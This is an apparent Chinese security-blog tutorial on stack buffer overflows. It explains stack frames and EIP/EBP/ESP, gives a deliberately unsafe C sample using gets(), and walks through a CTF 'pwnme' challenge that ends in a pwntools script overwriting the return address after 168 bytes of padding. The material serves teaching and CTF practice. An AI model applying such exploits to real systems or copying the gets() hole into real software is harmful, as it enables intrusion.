声明:由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,知微安全以及文章作者不为此承担任何责任。知微安全拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经知微安全允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 |
0x01 缓冲区?溢出?缓冲区溢出?
刚开始看缓冲区溢出的时候,满脑子都是疑问三连,缓冲区溢出是什么?为什么会溢出?溢出了会咋样?
![45f80282bee5a5293d86b0ec8f78373d.png](https://i-blog.csdnimg.cn/blog_migrate/3b1bdebf7eaf2d489f08c0b4bc9a4675.png)
好的,一一梳理,先明确一些基础概念。
什么是缓冲区?
缓冲区是程序运行期间在内存中分配的一个连续的空间,用于保存包括字符数组在内的各种数据类型。从磁盘里取信息时,先把读出的数据放在缓冲区,计算机再直接从缓冲区中取数据,这样就可以减少磁盘的读写次数,再加上计算机对缓冲区的操作效率高于对磁盘,因此可提升运行速度。
什么是溢出?
溢出就是所填充的数据超出了原有的分配空间,就像容量500ml的水杯被倒入了700ml的开水。
什么是缓冲区溢出?
缓冲区溢出就是指就是向固定长度的缓冲区中写入超出其预先分配长度的内容,造成缓冲区中数据的溢出,从而覆盖了缓冲区周围的内存空间。因此,攻击者可以借此精心构造填充数据,导致程序运行失败,或改变程序原有的跳转,去执行恶意指令,最终获取控制权。常见的缓冲区溢出有栈溢出、堆溢出、BSS溢出和格式化串溢出,本文主要介绍栈溢出。
0x02 栈溢出原理
当程序运行时,计算机会在内存区域中开辟一段连续的内存块,包括代码段、数据段和堆栈段三部分,存放形式如下图:
代码段
(.text)存放着程序的机器码和只读数据,可执行指令就是从代码段中取的。
数据段
包括(.data)和(.bss),数据段(.data)存放全局和静态的已初始化变量,数据段(.bss)存放全局和静态的未初始化变量。
堆栈段
分为堆和栈。堆(Heap)用来存储程序运行时分配的变量。堆的大小并不固定,可动态扩张或缩减。
下面具体分析一下栈:
![5706b2b44a85d570fd15506ff8e2f44e.png](https://i-blog.csdnimg.cn/blog_migrate/f5ac234ed807b1aee1794c8716059cf1.png)
栈(Stack)是一种用来存储函数调用时的临时信息的结构,如函数调用所传递的参数、函数的返回地址、函数的局部变量等。在程序运行时由编译器在需要的时候分配,在不需要的时候自动清除。栈有一明显特性: 先进后出(FILO),即最后一个放入栈中的总是被最先拿出来。
栈有两个基本操作:
PUSH:向栈中添加数据,称为压栈,数据将放置在栈顶;
POP:与PUSH相反,在栈顶部移去一个元素,并将栈的大小减一,称为弹栈。
在使用栈时,需要借助的三个寄存器:
EIP寄存器:存储的是CPU下次要执行的指令的地址,即返回地址。
EBP寄存器:存储的是是栈的栈底指针,通常叫栈基址。
ESP寄存器:存储的是在调用函数之后栈的栈顶,并且始终指向栈顶。
程序中发生函数调用时,计算机做如下操作:
首先把指令寄存器EIP中的内容压入栈,作为程序的返回地址,之后放入栈的是基址寄存器EBP,它指向当前函数栈帧的底部;然后把当前的栈指针ESP拷贝到EBP,作为新的基地址,最后为本地变量的动态存储分配留出一定空间,并把ESP减去适当的数值。
因此,ESP、EBP、EIP之间的地址关系可以如下图简单概括。
![e2ca21d1db5efd4fe9d0cf35c36018e7.png](https://i-blog.csdnimg.cn/blog_migrate/50ecfac3fef7d0fc0720f16a04da81c5.png)
如果在栈中压入的数据超过预先给栈分配的容量时,就会出现栈溢出,从而使得程序运行失败。以一个简单的实例解释一波。
#include
int main(){
char name[10];
gets(name);
for(int i=0;i<10&&name[i];i++)
printf(“%c”,name[i]);
}
编译上述代码,输入hello,结果会输出hello,在调用main()函数时,程序对栈的操作如下:
先在栈底压入返回地址;
将栈指针EBP入栈,并把EBP修改为现在的ESP;
ESP减10,即向上增长10个字节,用来存放name[]数组;
此时栈的布局如下图:
![855b27c4c46c0539a74b29cd7cca8b39.png](https://i-blog.csdnimg.cn/blog_migrate/bdd84bfd0bd08dc9684556d8645e52cd.png)
执行完gets(name)之后,栈中的内容如下图:
![25c2a04f2fecf28230f6973962581156.png](https://i-blog.csdnimg.cn/blog_migrate/82c1167d2b7237011b778da2f3e1bc51.png)
如果输入的字符串长度超过10个字节,例如输入:helloAAAAAAAA……,则当执行完gets(name)之后,栈的情况如下图:
![611e3214da07f77cd867e61518752647.png](https://i-blog.csdnimg.cn/blog_migrate/2e766d044158f0ac12c186ef7e5d86db.png)
由于输入的字符串太长,name[]数组容纳不下,只好向栈的底部方向继续写‘A’。这些‘A’覆盖了堆栈原来EBP和EIP中的内容。
从main返回时,就会把‘AA’的ASCII码视作返回地址,因为EIP中的写入了’AA’,CPU会试图执行返回地址处的指令,就会如前面所说的,改变了程序原有的跳转,去执行攻击者的指令,这样就是一次栈溢出攻击。
从上面的分析可知,栈溢出攻击主要有三个步骤:
获得缓冲区的大小和返回地址的位置。
构造需要执行的代码shellcode,并将其放到目标系统的内存。
控制程序跳转,改变程序流程。
0x03栈溢出实例—pwnme
本次实例的研究对象为pwnme同学,是CTF比赛中的一个pwn题。按照上一章节中的栈溢出攻击的步骤进行。
![a7f845734667f335044425fbfe45cca2.png](https://i-blog.csdnimg.cn/blog_migrate/e08a1f6a8617ac73a93f48a93f711d6e.png)
看一下文件信息
![a0081b44da46be71946d8c2a87b29ccd.png](https://i-blog.csdnimg.cn/blog_migrate/ab603abc70fdc59790d72b6b029fa514.png)
然后用checksec.sh脚本进行基本检测,可以看出pwnme没有开启canary和nx保护,说明可以搞!
![96e7e48fb55b035aced887f21bd2a5e1.png](https://i-blog.csdnimg.cn/blog_migrate/96f869fb7b93d188e7aaae167c1b0e2f.png)
然后打开ida进行静态分析。查看伪代码,发现只有选择5时,会跳转到getfruit()函数。
![a7367ad7b8b6707c261044ea7f133b68.png](https://i-blog.csdnimg.cn/blog_migrate/f986553607d282f6adf796eb74c3648b.png)
进入getfruit()函数,发现有scanf()函数,并且左边窗口惊现getflag()函数,并暗藏flag,说明只要通过利用scanf()的溢出漏洞,然后跳转到getflag(),就能拿到flag。
![509c1b6c929d4f0a65510febad0a294a.png](https://i-blog.csdnimg.cn/blog_migrate/78cad084953f4ed3066aded423fa862e.png)
进行动态分析,查看pwnme的汇编代码
objdump -d pwnme > pwnme.asm
cat pwnme.asm
![8c0ba200c85ae917cc04009abc3a57f6.png](https://i-blog.csdnimg.cn/blog_migrate/68e2dbcd13486da4c0cdba732394a3b8.png)
找到三个关键函数的地址:
0x08048624 getfruit()
0x08048659 scanf()
0x08048677 getflag()
使用gdb-peda开始调试,在getfruit()和scanf()的地方设个断点
b *0x08048624
b *0x08048659
输入r,让程序运行起来
然后输入选择5
输入n,为单条语句执行
输入c,继续运行程序,直至断点停下
![381b3f553e1c4e634d92a29ee050d1c3.png](https://i-blog.csdnimg.cn/blog_migrate/bff8679ef1c18c3c61b3f1b3a03ddf73.png)
仔细看发现程序在运行到scanf()函数时EBP为0xffffd5e8
确定返回地址
输入命令telescope 0xffffd5e8 10,可以看到0xffffd5e8的下一个地址是0xffffd5ec,就是EIP的地址,所以存的就是返回地址0x80487ea,返回地址被逮到了!
栈溢出定位:
首先准备栈溢出定位字符串,通过 pattern_create 500 生成500个随机字符,
运行到输入scanf函数位置,输入n,然后粘贴刚刚生成的500个字符串。
![5618f8f6ce35ae646c81324eaabe3b9c.png](https://i-blog.csdnimg.cn/blog_migrate/8fc013580574c8ceeddf30a87e8ff4fb.png)
查看栈地址数据,发现输入500个字符后,存储的返回地址变为VAAt开头的字符串。
栈溢出定位:
计算偏移量,查看500个字符的Hex,定位到VAAt。
![bc317ed516b23e27816debf2efede596.png](https://i-blog.csdnimg.cn/blog_migrate/d09e5a3c83af76838ea98b3f0b85d5d2.png)
VAAt对应的起始偏移量=0xA8=168,
那么如果要覆盖掉返回地址,并且跳转到getflag()函数,就需要168个填充字符加上getflag()的地址0x08048677
就稳了。
最后一步构造shellcode:
from pwn import *
if __name__== "__main__":
p=remote('ip',port)
sleep(1)
p.send('5\n')
sleep(1)
print p.recv()
sleep(2)
payload_data1="a"*168
payload=payload_data1+p32(0x08048677)
p.send(payload+'\n')
print p.recv()
sleep(1)
p.interactive()
pass
![e73bce2cfd317206f1ba383069332d9d.png](https://i-blog.csdnimg.cn/blog_migrate/f722414e82e55ef952f810f38e638906.png)
Yeah,I got it…